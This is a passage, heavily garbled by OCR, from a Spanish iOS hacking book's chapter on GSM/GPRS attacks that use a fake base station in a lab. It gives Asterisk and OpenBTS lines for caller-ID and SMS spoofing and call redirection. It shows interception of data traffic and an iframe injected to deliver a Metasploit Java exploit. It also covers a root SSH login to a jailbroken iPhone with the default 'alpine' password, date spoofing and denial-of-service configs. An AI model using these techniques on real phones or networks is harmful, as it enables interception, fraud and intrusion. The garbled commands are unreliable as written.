De nuevo se utilizara Asterisk para la suplantacion del ndmero Hamante. Imaginese que se guicre
que cuando sc ame desde el eléfono de ataque al teléfono vierima, este reciba la llamada con
identificador de niimero llamante 911111111. Una posible configuracion de Asterisk para conseguirlo
podria consistir en cambiar el codigo llamante del teléfono de atague mediante, por ¢gjemplo, la
adicion de la siguiente linea al inicio del contexto [phones]:

sxten =»> MN.,1,ExecIf($[CALLERID (nur) = 2002] 23et(CALIERID(num}-911111111))

v reeargar ¢l dialplan cn la consola de Asterisk mediante ¢l comando:

dialplan relgad

De esta forma se consigue que cada vez que ¢l wlélono Sip de alaque llame al wléfono victima cl
identificador del nimero Ilamante sea el que se ha puesto como ejemplo: 911111111.
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MNota: Ista prueba sirve para ilustrar que la creencia popular de que el nimero lla-

% mante es suficientemente valido para autenticar a quien origina la llamada no es cier-
ta. Dehido a esta ereencia ademds pueden prosperar otro tipo de araques de ingenieria
social en los que el disponer del nimero llamante adecuado puede suponer una ven-
taja.

En el caso de los SMS. la suplantacion del ntmero llamante es trivial ¥ no se necesita de una
infraestructura con estacion base para hacerlo. Si se quisiera suplantar al nimero 911111111 al enviar
un SMS al teléfono victima utilizando una infracstructura, s¢ podria hacer simplemente ¢jecutando
el siguiente comando en la consola de OpenBTS:

sendsms IMSTHNMNXHNNMHXENH 9811113111 “Texto SKS a enviar®

Ataques basados ¢n la redircecion del namero destino

Se puede también mediante configuracion de Asterisk, redirigir cualquier llamada efectuada desde
el movil victima, por ejemplo, hacia el teléfono del atacante. Para ello, una posihle configuracidn
seria afiadir la signiente linea antes de la invocacion a la macro DialGSM en el contexto [phones|
del dialplan:

axTa = _N.,IL,CULUIL($|CBLLERID[11UI'.'.)='_UI}1 & 3-’EXTEN'-=':!1111111]:| ?3ip-lo-
cxl, =001,1)

Y st puede probar gue la redireceion fineiona tras recargar ¢l dialplan en 4sterisk.

Nota: Esla prueba sirve para ilustrar que la creencia de que autenticar el destino de la
ltamada por el hecha de llamar nosotros es falsa, Un atacante podria vtilizar esto para,
por ejemplo. suplantar a un operador de una entidad bancaria.

4. Manipulacion de comunicaciones GPRS/EDGE

Preparaciéon de la infraestructura para pruebas de ataque con
cstacion base falsa

Conexion de los distintos elementos de la infraestructura

Antes de iniciar una prueba de ataque con estacion base falsa GPRS/Edge, serd necesario conectar
todos los clementos involuerados, como se deseribid anleriormente v como se muestra cn la siguicnte
figura, aqui reproducida de nuevo para comodidad del lector.
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Imagen 12.04: Componentes de una infraestructura baseda en OpenrBSC.

Esta configuracién del laboratorio sirve para simular, en un entormo controlado, el escenario de
ataque real que se muestra en la siguicnte figura:

with BPREDBE

Imagen 12.05: Facenario de ataque simulado en el laboratrio.

Prueba de conexion a Internet desde el PC de manipulacién
Dado que la salida a Tnternet del resto del laboratorio pasa por el equipo de manipulacion, lo primero
serd comprobar que este equipo tiene acceso a Internet, sea por la via que sca: 3G, ADSI., AN, etc.

Se recomienda probar tanto la concetividad TP comao el acceso al servicio DNS. Ambas cosas se
pueden probar conjuntamente comprobando que se recibe respuesta ejecutando ping en el equipo
de manipulacién:

ping www.gocgle.com
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- Prueba de conexion a Internet desde el PC de OpenBSC
A continuacion, sera conveniente verificar que el equipo OpenBSC lambién tiene acceso a Internet
a traveés del equipo de manipulacién. La concelividad se puede verificar igual que antes, pero
ejecutando el comando en ¢l equipo OpenBSC:

pirg www.google.com

Ademas, serd convenienle verificar que en la tabla de rutad del equipo OpenBSC estd declarado
como rouler por defecto (0.0.0.0) el equipo de manipulacion, y que como servidor de nombres esta
declarado el equipo de manipulacion. Los siguientes comandos pueden ayudar a comprobar estos
puntos:

celalal —2n

cat feto/resolv.conf

Arranque del software relacionado con OpenBSC

a conunuacion, serd necesario contigurarlos corrcctamente. Al menos deheria revi-
sarse antes de cada prueba que ¢l MCC y MNC configurados en OpenBSC.cfe son
los descados para cada caso. El resto de parametros es probable que una vez con-
figurados no sea necesario moditicarlos para cada prucba, pero aun asi puede ser
conveniente repasarlos.

% Nota: Antes de arrancar los programas relacionados con QpenBSC como sc deseribe

Los elementos sofiware a arranear en el equipo OpenBSC, aparte del propio sistema operativo con
su configuracion de tarjetas v rutas de red, son:

iptables
Como minimo se debe habilitar rowting:

echo “1” > /proc/sys/fnoi/ipvd/ip forward
GGSN

Arrancar OpenGGSN:

fepeizgsn/bin/ggsn —¢ Jetofopl foysefgosn.cont

SGSN
Arrancar OsmoSGSN:

/ozt/eperbsc/kinfosmo-sgsa —c Jete/opt/ooentsc/osmo—sgan. ofg

Para obtencr informacion de logging v poder ejecutar diversos comandos de conirol sobre
OsmoSGSN, establecer una sesion TELNET con el puerto 4245 del localhost:

telret localhost 4245
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Par ejemplo, para obtener informacién del nivel MM (Mability Management), que es ¢l que muesira
mensajes informativos durante el registro de los terminales, ejecutar lo siguiente en la sesion de
TELNET:

enablie

logging eazblo

logging filter all 1

logging level mm debug

OpenBSC

Arrancar OpenBSC:

lopt/opensse/bic/csme-nilh —c¢ foebefop fopentsa/opanhac.ofg A
-1 /var/ept/opentsc/hlr.sglite3

Para obtener informacion de /logging y poder ejecutar diversos comandos de control sobre OpenBSC,
establecer una sesion TELNET con el puerto 4242 del localhost:

telnet lccalkost 4242

Por ejemplo, para obtener informacion del nivel MM (Mobifity Management), que es el que muestra
mensajes nformativos durante el registro de los terminales, ejecutar lo siguiente en la sesién de
TLELNLET: :

=nable

logzing erable

oy it

lagzsiag level mm cebug

Nota: Si se fuera a realizar manipulacion de comunicaciones GSM y SMS, ademas
de las de dalos, seria nceesario arrancar también Asferisk v LCR.

Registro del terminal/dispositive victima (provisionamiento la primera vez)

Para que un determinado dispositivo mavil pueda obtener servicio de la estacion base falsa, su IMSI
debera haber sido provisionado en el HLR, que no es mas que una sencilla base de datos en formato
SQLite3, contenida en un tnico fichero. Aunque podria provisionarse completamente a priori, la
manera mas sencilla de realizar la provision es la siguicnte. Primero, intentar una vee, antes de
realizar la provision, registrar el maovil en la estacion base falsa. Lsto puede hacerse o bien emitiendo
con la identidad (MCC/MNC) del operador real del mévil, en cuyo caso el mévil intentara el registro
automadticamente tras un cierto tiempo, o hien con oira idenlidad (MCC/MNC), y entonces setd
necesario forzar el intento de registro eligiendo seleccidén manual del operador v seleccionando el
operador correspondiente a la estacion base falsa. Ese intento de registro fallara, ya que el IM3I no
estd todavia provisionado. pero OpenBSC habra registrado cl intento en ¢l HLR y habra creado la
fila adecuada en la tabla “subscriber”, con algunos valores por defecto, y. o que es més importante,
con el campo TMST relleno. A continuacion, editar esa fila en concreto, cambiando el valor de la
columna “authorized” a “1™:



284 Hacking de dispositivos i0S: iPhone & iPad

roct@lzbgsmi0:~4 sglitel /var/opt/openbsc/ialr.sglital
SOLize werszeh 3.7.13 2032-06-11 §2:08:22

Frlsr ™

* for inslkruclions

Snslot
Enter S0L statements termicated with a ;"
sglices selept * from subscriber;

|2C13-01-03 [2|2013=-01=-08 || |2140[- Resto de IMSI ocultado
=1 | [name] | [ext] |0/ [11[]][]
gglite> update subscriksr szet authorized=1l where id=1;
el ilelr aslecls * T ramn swbserlbor;
112C013-01-03 [12013-01-08 []|2140[- Resto de IMSI ccultado
=1 | [namel | [extT [LITTI7TI1]

sl e

Nota: Para facilitar la lectura de mensajes de log posteriores, se recomienda también
edirar, de manera analoga, los valares de las columnas “name’ y “extension”

Una vez autorizado el TMSI de 1a tarjeta SIM del dispositivo mavil, a partir de ese momento todos
los intentos de registro del mismo, ya sean manuales o autométicos, tendran éxito, v el dispositivo
obtendra servicio de la estacion base falsa. En el momento del registro, si este es aceptado, vy si
s¢ han habililado previamenie los mensajes relativos a Mobiling Management (MM) como se ha
indicado antes, en la sesién de T'LLNLU'T conectada a OpenBSC deberdn aparecer mensajes similares
a los siguientes:

<00C2> gom 24 08.2:1048 LOCATION UFDATINC 2REQUEST: ni Lype=0x04 MI(||) Lype=IMSI
ATTACH
<Q0CzZ> c:460 IDENTITY RESPONSE: mi type=0x202 MI([])

<00C2> gam_ 04 1424 —%» LOCATION UPDATE AZCEPT

<00C2> gsm 04 08.c:766 ->» MM INFO

<00CZ> gsm subzacriber.c:332 Subscriber Phonsl ATTACHED LAC=1

£O0CA> gam 04 08.c:1062 TMSI Reallocalion Compleled. Subscriper: fFPhoned4-0RANCE

Y en la sesidon de TELNL'L conectada a OsmoSGSN deberan aparecer mensajes similares a los
siguientes:

<U0C2% gpry gmm.e: 640 —> GMM ATTACH REQUEST MI([IMSI ocultado]l) type="GLRS attach”
<00C2> gprs_omm.c:362 <- GPRS ALIFACE ALCRPT  (naw P=iMS —0xDe?356elk)

<00C2% gprs gmm.c:1042 -> ATTACH CCOMPLETZ

Y en el momento el disposilivo intente concelarse a Internct, la sesion de TELNET concelada 4
OsmaSGSN deberan aparecer mensajes similares a los siguientes:

<(00CZ> gprs omm.c:1309 -> BRCTIVATE PDE CONTEXT RZQ: SAPI=3 N3ARI=5 IETF IPvd
<0DCf> sgsn likgzp.c:12€ Create PDF Cecntext

<00CE> sgsn Li o130 Libgtp cb confilypo—le, caase=128, odp=Uxyf8sdaclesdd,
chp=0x1<34a50)

<00C£> sgen libgtp.c:26%5 Received CREATE PZP CTX COMEF, cause=128 (Requast accepted)
<0023% gprs sndep.c:28Y SHEM-ACTIVATE. ind [Llle=Uxl458e80 TLLT=de'/3béeh, SAPI=3,
NSARLI-=E]

<QQJZ2> gprs gmm.c:1187 «<- ACTIVATE PDE CONTEXT ACK
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Prueba de conexion a Internet desde el dispusitivo victima
__,/IUna forma rapida de verificar que lodo ¢l entorno esté [uncionando correelamente para enrutar
' trifico del dispositivo a Internet y viceversa, es abrir el navegador en el dispositivo mévil e intentar
navegar a cualquier URL conocida. Por ejemplo, navegar a “Artp; #www. Google.com™ v realizar una
bisqueda de un érmino cualquicra (por cjemplo “Taddong™). S1 las paginas se cargan correctamente,
tanto la de introduccién de la busqueda como la de resultados de la biisqueda, se podra concluir que
el entorno estd enrutado el trafico IP correctamente.

Interceptacion de comunicaciones de datos

Dado que todo el tréfico 1" del cliente, o clientes, GPRS es enrntado via el equipo de manipulacién,
bastard utilizar en este equipo un snilfer de red, como Wireshark, para capturar las comunicaciones
de datos de los dispositivos maviles. De esta manera, todos los datos que no circulen cifrados,
podran ser decoditicados en el equipo de manipulacion.

Ejemplo: Interceptacion de comunicaciones HI'T'P
Si desde el dispositivo movil se accede por HTTP a un servidor web, la informacién intercambiada
entre gl dispositivo v el servidor viajara en claro, y su contenido podra ser observado en el equipo de
manipulacién sin mds que gjecutar Wireshark v filtrar por “http”,

s ih GPISE DG
Tmagen 12.06:; Captura dz una sesion HTTP en el equipo de manipulacion,

Por gjemplo, si el usuario del dispositivo mdvil abre su navegador, visita la pagina del buscador de
Google, y busca un término, como por ¢jemplo “patata”, en el Wireshark del equipo de manipulacion
se podrd observar que el usuario ha visitado esa pagina, v cudl ha sido el término que ha buscado
en ella.
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Otros ejemplos

Pero las comunicaciones HTTP del navegador no son las nicas comunicaciones no cifradas
ulilizadas habitualmente por dispositivos moviles.

Para empezar, muchas aplicaciones, distintas dcl navegador, ulilizan HTTP para comunicarse con
sus servidores. Por ejemplo, las primeras versiones® de Whaisapp enviaban todo el trafico en claro,
mediante conexiones HTTP.

Pero ademiés, por supuesto, HTTP no es el dnico protocolo de comunicacion de red que no cifta
los datos: DINS, TELNEL, I'IP o SMTP son algunos ejemplos. 5i alguna aplicacion o servicio
del dispositivo utiliza algiin protocolo no cifrado, la informacion serd accesible directamente a un
atacanic con la infracstructura descrila.

Redireccion y/o alteracion de comunicaciones 1P

Dado que todo el trafico IP del cliente, o clientes, GPRS es enrutado via el equipo de manipulacion,
sera muy sencillo redirigir /o alterar las comunicaciones de datos de los dispositivos moviles,
utilizando, por egjemplo, reglas de {Prables.

Ejemplo: Explotacién de una vulnerabilidad de Java de un PC portatil

Supdngase, por ejemplo, que el dispositivo movil es un PC portatil con sistema operativo Windows
XP SP3, con una version de Java (JRE) anterior 4 1a 6.24 y con un modem 2G/3G.

Las versiones de JRL anteriores a la 6.24 tienen una vulnerabilidad para la cual existe un exploiz
disponible en Metasploif’® (Java codebase trust®’). Para explotar la vulnerabilidad usando este
exploit, s necesario que ¢l navegador del PC cliente navegue hasta una URL creada por Metasploit,
en la cual este quedard escuchando. 51 se logra que el navegador solicite el contenido de csa URIT,,
Metasploit respondera al navegador enviandole cierto contenido malicioso que hara que se ejecute en
¢l PC victima el eadigo clegido (pavload), como por ejemplo establecer una sesion de Meterpieler.
Desde la sesion de Meterpreter, se dispondria de control completo sobre el P'C victima.

Para que el navegador del PC victima solicite esa URL, se puede aprovechar la situacion privilegiada
dc la maquina de manipulacion, esperar a que el usuario victima navegue a cualquier pagina web,
v entonces inyectar contenido IITML afiadido dentro de alguna de las paginas legitimas visitadas,
forzando al navegador a solicitar la URL de nuestro interés, pensando que forma parte de una de las
paginas legitimas.

235 Aproximadamente a partir de aposte de 2012, Whas4dpp cifra sus comunicacionss,
26 htip: Fwvwametasploit.com/

27 htip:twone metasploil comimodulesiexploit/windows/browserfiova_codebase_trust
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Supeniende que el exploit de Metaspioit cstuvicera cscuchando en el puerto 8081 de la direccion
192.168.200.33, y que el path definido para el exploit fuera “/avaexploit”, el cddigo HTML a
inyectar podria ser:

<ifrane src—"ntto:// 192, 168.200.32:8081/ javaexploit”s»</iframe>

Fl detalle de la configuracion concreta para realizar esa inyeccion de contenido HTML queda fucra
del alcance de este libro, pero al lector no le serd dificil encontrar en la red informacién sobre
como hacerlo. Podria utilizarse, por ejemplo, IPtables, para redirigir el trafico web a una instancia
de squid®®. proxy. configurado como proxy transparente, combinado con un servidor ICAP como
c-ieap™, para realizar la inveccion propiamente dicha.

Imagen 12.07: Video: Owniag a PC via GPRS/Fdse.

En la siguiente URL st pucde ver un videa mostrando este ataque paso a paso: Arip:/Avww youttube.
comwarch?v=FXNDhcHUfcs

Y el mismo video esta también disponible para su descarga en: hilp://www.taddong. com/es/lab.
himi#VideoQwiningPCviaGPRS

28 hupdwwo squiid-vache orgd

28 b se-icap. sourceforge.net!
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Otros ejemplos

Obviamente, la redireccién de trafico puede ser 0til para un atacante cn maltiples escenarios. Por
¢jemplo, puede redirigir las peticiones DNS a un servidor bajo su control, que para determinados
nombres devuelva traducciones falsas. De hecho, la infraestructura descrita ya permite eso sin mas
que introducir las traducciones falsas en el fichero /efc/hosts del equipo de manipulacion, porque de
alli lus leerd dusmasg. que es el servicio declarado como servidor NS de los clientes GPRS.

‘lambién pucde redirigir conexiones web a servidores web falsos, donde se le solicite informacion
personal al usuario (por ejemplo, contenido de su tarjela de coordenadas para operaciones bancarias).
o donde cierto contenido malicioso intente aprovechar alguna vulnerahilidad de la aplicacion cliente
que esta navegando, v asi tomar control del equipo.

Para conexiones como HTTE en las que no se produce una autenticacion del servidor, el resultado
es indistinguible del servidor real para el usuario. Pero incluso para conexiones donde si se debe
producir esa autenticacion, como ¢s ¢l caso de HTTPS, la redireccion puede acabar pasando
inadvertida al usuario si este no entiende bien el funcionamiento de los certificados SSL y acaba
aceplando conectarse a un servidor cuya identidad no ha podido ser verificada.

I.aredireccion de trafico es trivial de realizar, utilizando [Ptables, como se ha descrito anteriormente,

Ademas, aparte de redirigir el trifico, un alacante podria manipular el contenido del mismo. Existen
multitud de herramientas que permiten manipular distintos tipos de wafico. Por gjemplo, usando
squid como proxy (rausparenie se podria usar un plugin que permitiera inyectar determinado
contenido en ciertas paginas weh, de modae que el cliente recibiria ese contenido insertado junto con
¢l contenido legitimo, y a todos los efectos proveniente del servidor legitimo. Ese codigo HTML
inyectado podria ser cualquier clase de contenido malicioso.

Ataque directo via TP

Los ataques descritos en los apartados anteriores se centran en la observacidén o manipulacion de
las comunicaciones iniciadas por ¢l dispositivo mévil. Pero tambien son posibles ataques directos
contra la direccién 1P del dispositivo mévil: la direccion TP es conocida por el atacante, porque se la
asigna ¢l (mediante la configuracion del GGSN), y es accesible directamente. es decir, sin firewalls
de red intermedios, desde ¢l equipo de manipulacién,

Asi, desde el equipo de manipulacién., se puede lanzar, por ¢jemplo, un escaneo completo de todes
los puertos TCP y UDP del dispositivo, intentando encontrar servicios activos y accesibles desde
el exterior. Si alguno de esos servicios accesibles presentara alguna vulnerabilidad, se tendria un
camino para tomar control remoto del dispositivo movil.

Ejemplo: Escanco de pucrtos contra un teléfono movil

La siguiente figura muestra un escaneo de la lista de pucrtos por defecto de Nimap, ejecutado contra
un iPhone 4 con (105 4.3.1.
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rootdlazgsm00:~F nmap —21 -1T5 -—ocen IN0.13.13.27

Starting Nmap £.00 ( bttp://map.org ) at [] CET

Nmep scan repoxt £ IO TS

Hos . is up {(0.4fs latency).

HNet showr: 928 closed porls

PERT STATE SEEVICE

235O cpen s5sh

62073/t cpen i PRons-svie

Nuwap conc: 1 IP addreas (1 host up) scannesd in 71.15 seconds
roct@ shosmC; ~3#

[magen 12.08:

Escaneu de pucrios por defeeto de Mmap, contra de un iPhone 4 con i35 1.3 1.

Obsérvese que ademds del puerto 62078/Lcp, dedicado al servicio de sincronizacién, el iPhone tiene

tambien abierto ¢l puer

to 22/tcp, correspondiente a SSH. Esto indica que el teléfono tiene hecho cl

Jailbreak, ya que Apple no permite la instalacion de un servidor SSH.

Si quien hiciera el Jailbreak en su momento no wmé la precaucion de cambiar la contrasefia de
rool, se podria entrar en ¢l dispositivo utilizando 1a que hay por defecto, que es “alpine”. En este

Cdi, L.rLLl]\"dle"ltL, se
siguiente figura.

lograria entrar con dichas credenciales por defecto, como s¢ mucstra ¢n la

root@laboer0:~f
The auvthenticity

ssh roat@lC.1
of host

BE8A koy Lngerpript is 45:cd:al:f1:02:15:39:2¢:blied 46 0] : 8d:hh 103,
Are you surs you want Lo conlinue connecting (y2s/no)? yes

Warnirg: Permarertly added *10.13.13.2" (ESA) Lhe list of knewn hosts.
Toot@ 0.73.13.%%e pasaword: [alpine]

1Phone—de-Admiristradar:~ raolf uizme —a

Darwin iPhcne-cde Administrador 11.0.0 Darwin Kerrel Vo g L, BT Thy Fel Al
#1:48:06 P87 2011; roet:xnu-1735.46~2/RILEASE ARM 351.8930¥ iPhon=3,7 arm NODAP
Darwin

iProne-de-aAcministrador:~ zcott'ls -1z /

totz]l &

crwxrwer—t 15 roct admin 748 Jan 16 D402

crvyazwEr-t 15 roct admin 748 Jan 16 04:02 ..

—————————— 1 ool admin J Teb 7 2011 .file

drwxs—#r-x 38 roct wkeel 138 Jun 18 2012 Applications

drwzzvizr-x 2 root admic 63 Mar 1& Z011-DReveleper

drugr-zr-x 24 roob wheel 240 May 13 2012 Likrary

drwxr-xr-x €& root wheel 102 May 10 012 System

LTrwrr-nnsx 1 Pook Agman 11 Jar 16 024:02 User =» Svar/mcbhbile
drwxr-xr-x 2 root wheel 2005 May 13 2012 bin

drwxr=-xr-x 2 roobt whee 204 May 12 2012 boot

drwxrwzr £ 2 root admin 68 Fen 7 2011 cores

dr=-xr-xr-x 3 root whsel 1634 Jan 1€ 04:01 dev

lrwxr—xr-x 1 root whael 12 May 13 2012 ete -> private/ste/
drwxr-zr-= 2 rcot wheel 68 et 28 20708 Tib

drwxr-xr-x 2 root whzael 68 Oct 28 2006 mnt

i
B X3 1302

: (l0.13.13.7}" wvan’t be established.

Imagen 12.09: Entrando por

SSH en un (Phone con Juillireak hecho. utilizando la contrasefia por defeero de roor. (Parte 1),
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drwxr-xr = 4 oot wheel 136 Apr 11 2011 privs—e

drwxr-xr-=x 2 raoot wh=el &A46 May 13 2012 sbin

lrwxr-xr-x 1 rodt wheel 16 May 132 201% tmp -» pr_vate/var/tmp/
drwsr-=r % 12 root whsel 394 May 110 201z usr

lrwxr—xr—-x 1 roo. wizel 12 May 13 2012 var > private/var/

i Phaone-de-Adriniscrador:~ roct#

Imagen 12.09: Entrando por $$H en un iPhone con Jailbreak hecho, utilizando la contrasefia por detecto de yoot. (Parte 2).

Si no se hubiéra encontrado el servicio SSH con la contraseia por defecto, s¢ podriz intentar buscar
una vulnerahilidad en cualquicr otro scrvicio que estuviera abierto, como per ejemplo el servicio de
sincronizacion, que escucha en el puerto 62078/tep. Si se hiciera un escaneo completo de todos los
puertos, quizds s¢ cncontrarian més servicios abiertos, los cuales se podrian alacar.

Otros cjemplos

Obviamente el escaneo de puertos v el consiguiente ataque a los servicios que ofrezca el dispositivo
mévil, es aplicable a cualquier tipo de dispositivo, Lanlo si se trata de un teléfono, como si se trata
de una lableta o incluso de un PC conectado mediante madem 3G. En ¢l caso de que el dispositivo
victima sea un PC (conectado mediante modem 3G) es mas probable que este tenga instalado y
configurado un firewal! que prohiba las conexiones entranles, impidiendo el acceso desde el exterior
a sus scrvicios. No obstante, no es extrafio encontrarse con PCs en los que ¢l usuario ha deshabilitado
el firewall, o este ha sido configurado permitiendo el acceso a determinados servicios, como el de

Ataques a dispositivos especiales

Hasta ahora el capitulo ha estado centrado en los dispositivos moviles mas comunes, como pueden
ser teléfonos, tabletas v PCs, pero hay muchos ofros disposilivos que también utilizan la cobertura
GPRS/Edge. y todos los ataques descritos podrian ser lanzados también contra cualquiera de esos
dispositivos.

Ejemplo: Ataque a un router 3G

Hoy en dia muchas pequefias oficinas de muy variada indole (y también domicilios particulares),
se conectan a Internel a través de un router 3G. Un atacante que lograra dar coberlura a ese router
utilizando una estacion base falsa, comao se ha deserito antes, comprometeria todas las comunicaciones
1o cifradas que se produjeran entre cualquiera de los disposilivos de la oficina e Internet.

Lo tmico contra lo que los dispositivos de dentro de la oficina estarian probablemente protegidos,
seria contra el ataque directo via IP, pucsto que probablemente el router ocultara las dirccciones
TP de los equipos interiores haciendo NAT. Fl ataque dirceto via IP se podria lanzar solo contra el
propio router, lo cual no deja de ser interesante para un atacante, porque muchos routers son dejados
con configuraciones por defecto que ofrecen servicios poco protegidos.
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Imagen 12.10: Ll atague a un reuter 3G compromete lus comunicacionss de los dispositivos que hay detrds de él.

Otros ejemplos

Aparte de los ya comentados, hay muchos otros tipos de dispositivos que ulilizan GPRS/Edge para
sus comunicaciones, como por ejemplo; ;

Rastreadores GPS.

Datafonos de tarjetas de crédito (también llamados TPV, Terminales de Punto de Venta).
Céamaras de vigilancia.

Estaciones meteorologicas.

Dispasitivos de control (SCADA).

Imagen 12.11: Otros dispositivos GPRS Felue.
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I Todos estos dispositivos también son susceptibles de ser atacados como se ha descrilo anteriormente,
\1 y lunentablemente, en muchas ocasiones, muchos de ellos no han sido protegidos convenientemente.

5.Manipulacion de fecha y hora

El estindar GSM ofrece la posibilidad de que las estaciones base incluyan informacion de
sincronizacion de fecha v hora en la sefal de broadcast, que los moviles pueden utilizar para
sincronizar su propio reloj y calendario. I.a mayoria de los dispositivos moviles ofrecen al usuario la
posibilidad de sincronizar automaticamente el reloj interno con esta informacion de hroaccast de las
estaciones base, de modo que el dispositivo siempre tenga la fecha y hora correctas del lugar donde
se encuentra. Por ejemplo, en un /Phone se puede encontrar esta opeidn dentro del ment Ajustes
-> General -> Fecha v Hora, v la opcidn se llama “Ajuste automatico™ y en un teléfono Android es
posible encontrar esta apcién dentro del ment Configuracion -> Fecha v hora, y la opcidn se llama
*Fecha y hora automaticas”,

La gran mayoria de los usuarios tienen activada esta opeién. Lin muchos casos simplemente porque
es la opeidn que viene conligurada por defecto (en la mayoria de terminales}), y en otros porque el
usuario opta por ella por comodidad. Sea por el motivo quc sca. si un usuario liene activa esta opeion
en su dispoesitivo movil, es vulnerable a un ataque remoto de modificacién de fecha y hora, realizado
utilizando una estaciom basc fzlsa.

Infraestructura necesaria
Para realizar esta manipulacién remota. un atacante pucde ulilizar la misma infraestructura basada
en OpenBSC ya descrita anteriormente.

Procedimiento de ataque

El procedimicnlo a seguir para realizar el ataque es muy sencillo: lo unico que hay que hacer es
configurar, antes de comenzar a dar cobertura con la estacién base falsa, el sistema operativo del
equipo OpenBSC para que su {echa v hora sean en las deseadas para el moévil: y a continuacién,
simplemente dar cobertura al movil victima con la cslacion basc [alsa.

Resultado del ataque
Cuando el dispositivo detecta un cambio de Location Area, si estd configurado para ajustar la fecha y
hora de forma automilica, reajustara su reloj y calendario para hacerlo coineidir con la informacién
emitida por la celda. Por tanto. a los pocos segundos de haber aceplado la cobertura de la estacion
base falsa, el dispositivo habré asumido la fecha y hora emitidas por la estacion.

Esto se puede utilizar lanto para hacer saltos al futuro como al pasado. Dependiendo del dispositivo,
el rango de fechas a las que se podra saltar pucde ser distinto. Por ejemplo, en algunos dispositivos
1o es posible establecer una fecha anterior al 1 de enero de 2000.
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Ejemplo: cambio de fecha y hora de un iPhone y un Android
Las siguicntes figuras muestran un par de ejemplos de realizacién de este ataque, primero contra un
ilPhone y después contra un dispositivo Android.

Ln ambos casos, la techa de los dispositivos antes de realizar ¢l ataque era alrededor del mediodia
del 20 de encro de 2013, y 1a fecha elegida para los méviles tras el ataque es la mafiana del 18 de abril
de 201 1. de modo que el usuario victima disponga de un dia completo para salvar a la humanidad®.

Antes Después

gy

Imagen 12.12: Cambio de fecha y hora de un disposiavo iPhone.

Antes

Después

s | #ia Bl =] Y

Tmagen 12.13: Cambio de fecha ¥ hora de un disposilivo Android,

30 El sisteme de defensa antimisiles Skywer se activo el 19 de abril de 2011, y dos dias después declard la guerraa Iz
humanidad y desencadend un apocalipsis nuclear, Lus cronicas ce Saran Connor, 2007,
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Posibles usos

La utilidad para el atacante de este tipo de ataque puede ir desde hacer que el usuario del dispositivo
mévil victima llegue tarde a una reunion, hasta posibilitar la realizacién de otros ataques que
dependan de la variable tiempo, como por gjemplo ¢l acceso a las fotos almacenadas previamente en
un dispositivo que ha sido bloqueado, como se describe en el apartado “Accediendo 4 las fotos de un
iPhone con i0S 5.X cambiando la fecha®, perteneciente al capitulo “iPhone Local Tricks™,

6. Ataque de denegacion de servicio

Existen varios métodos para realizar ataques de denegacion de servicio contra terminales moviles,
de los cuales en este apartado se detallard como realizar 2 de ellos que pueden llevarse a término
utilizando las infraestructuras propuestas. Una recopilacion de posibles alaques y la teoria subyacente
tras los mismos pucdcn cncontrarse en: fuip:/iwww.taddong.com/docs/RootedCon2012-Nuevos_
escenarios_de_atague GSM_GPRS.pdf

A continuacién se describen posibles vias de implemenlacion de cslos ataques de denegacion de
servicio que pueden ser demostrados en entornos controlados.

Ataque de denegacién de servicio selectivo basado en redireccién
de llamada

Uno de los ataques, que puede ser implementado con la infracstruclura propuesta, consiste en la
redircecion de la llamada saliente del terminal victima a una locucidn de tonos que haga pensar 4 la
victima que tiene servicio aunque no lo ticne. Con este método se consigue que el terminal victima
sufra una denegacién de servicio transparente (no sc pereibe mingin sintoma de gue no se tiene
servicio) y selectiva (puede atacarse un terminal en concreto v otro no).

Una posible forma de implementar cl ataque consistiria en realizar la siguiente modificacion en la
configuracion del contexto [phones] del dialplan(:

exter =» _¥.,r,Comal f($[5(CALLERID(num} } = 1001] 7ncdos)

exter —> X.,n0,2nswer ()

exter =3 X.,n,Ringingi) -

exter. => X.,0,Wsit (20} } Walt 20 seconds
axten —» _¥.,n,Busv() ; then busy

exzen => X.,n,HangUp(}) ; then Bang up
exzen =» X.,nlrodos) ,NMoDpl);

Nota: Como se puede ver, el ataque de denegacién de servicio puede implementarse
de forma totalmente selectiva, ademas de ser totalmente transparente para el usuario.




Capfiulo XII. Ataques GSM-GPRS a iPhone
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Nota: La configuracion propucsta hace uso de los recursos por defecto de Asterisk.
Seria posiblc grabar cualquier tipo de tono, locucién, etcétera, y personalizar lotal-
mente esta prueba de concepto.

Ataque de denegacion de servicio sclectivo basado en cédigos de

rechazo de registro

El segundo ataque de denegacion de servicio consigue que el terminal victima quede en un cstado
invilido (sin comunicacion) hasta que el mévil se rearranque. La téenica consiste en enviar un
cddigo de rechazo del registro del terminal viclima que la indique que su SIM no es valida. Ya que
en GSM no exisle aulenticacion del operador, el terminal victima esta forzado a actuar segin csas
indicaciones.

Se puede conseguir esle clecto mediante 1a ejecucion de las siguientes acciones:

- Modificar el pardmetro de OpenBTS Control. LUR. UnprovisionedRejectCause al valor de
0x03 (Llegal MS).

- Parar la emision de OpenBTS y esperar a que el mavil victima pierda servicio.

- Desprovisionar en el Asterisk el terminal victima (para que sea fechazado cuando intente
el registro).

- Volver a arrancar OpenBTS.

Cuando el movil intente registrarse de nuevo en la estacion base falsa recibira el codigo de rechazo
que le producird el efecto descrito. En la siguiente figura puede verse que un iPhone, tras ser
rechazado con un codigo 0x02 (IMSI Unknown in HLR), 0x03 (fllegal MS) & 0x06 (/llegal ME),
queda en estado “No Service” hasta que se rearranca el dispositivo:

Imagen 12.14: Alague Dos a un iPhore mediante LU Reject Cause Codes.
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Una descripcidn detallada de los tundamentos del ataque puede encontrarse en: htip://www. faddong.
com/docs/RootedCan2012-Nuevos_escenarios_de_ataque GSM GPRS.pdf. Ademas es posible
encontrar demostraciones en: http:/vimeo.com/47191773

% Nota: El ataque es totalmente selectivo (pues s¢ controla a través de la gestion de
usuarios de la infraestructura).

ﬁ) Nuota: T.a caracteristica dilcrencial de este ataque es que presenta cierta persistencia,
en el sentido de que incluso cuando el atacante ha dejado de estar presente la denega-
cion persiste hasta que el usuario reinicia su terminal.

7.0Otros posibles ataques

La infraestructura descrita puede utilizarse para realizar otro tipo de pruebas de concepto o
investigacién sobre las comunicaciones moviles. A continuacion sc presentan algunas sugerencias
de usos adicionales de la infraestructura que se ha propuesto. -

Fuzzing sobre la pila de protocolos GSM/GPRS y ataques a la banda base

Las infraestructuras basadas cn cstacion basc [alsa pueden utilizarse para realizar fuzzing sobre la
pila de protocolos GSM. Lxiste una variedad de trabajos al respecto® * donde sc cstudia la robustez
de diferentes partes del conjunto de protocolos mediante esta técnica. Algunos de estos trabajos han
llevado a encontrar vulnerabilidades explolables.

Lsta técnica abre la puerta a ataques que no dependen de la forlaleza de los métodos de autenticacion
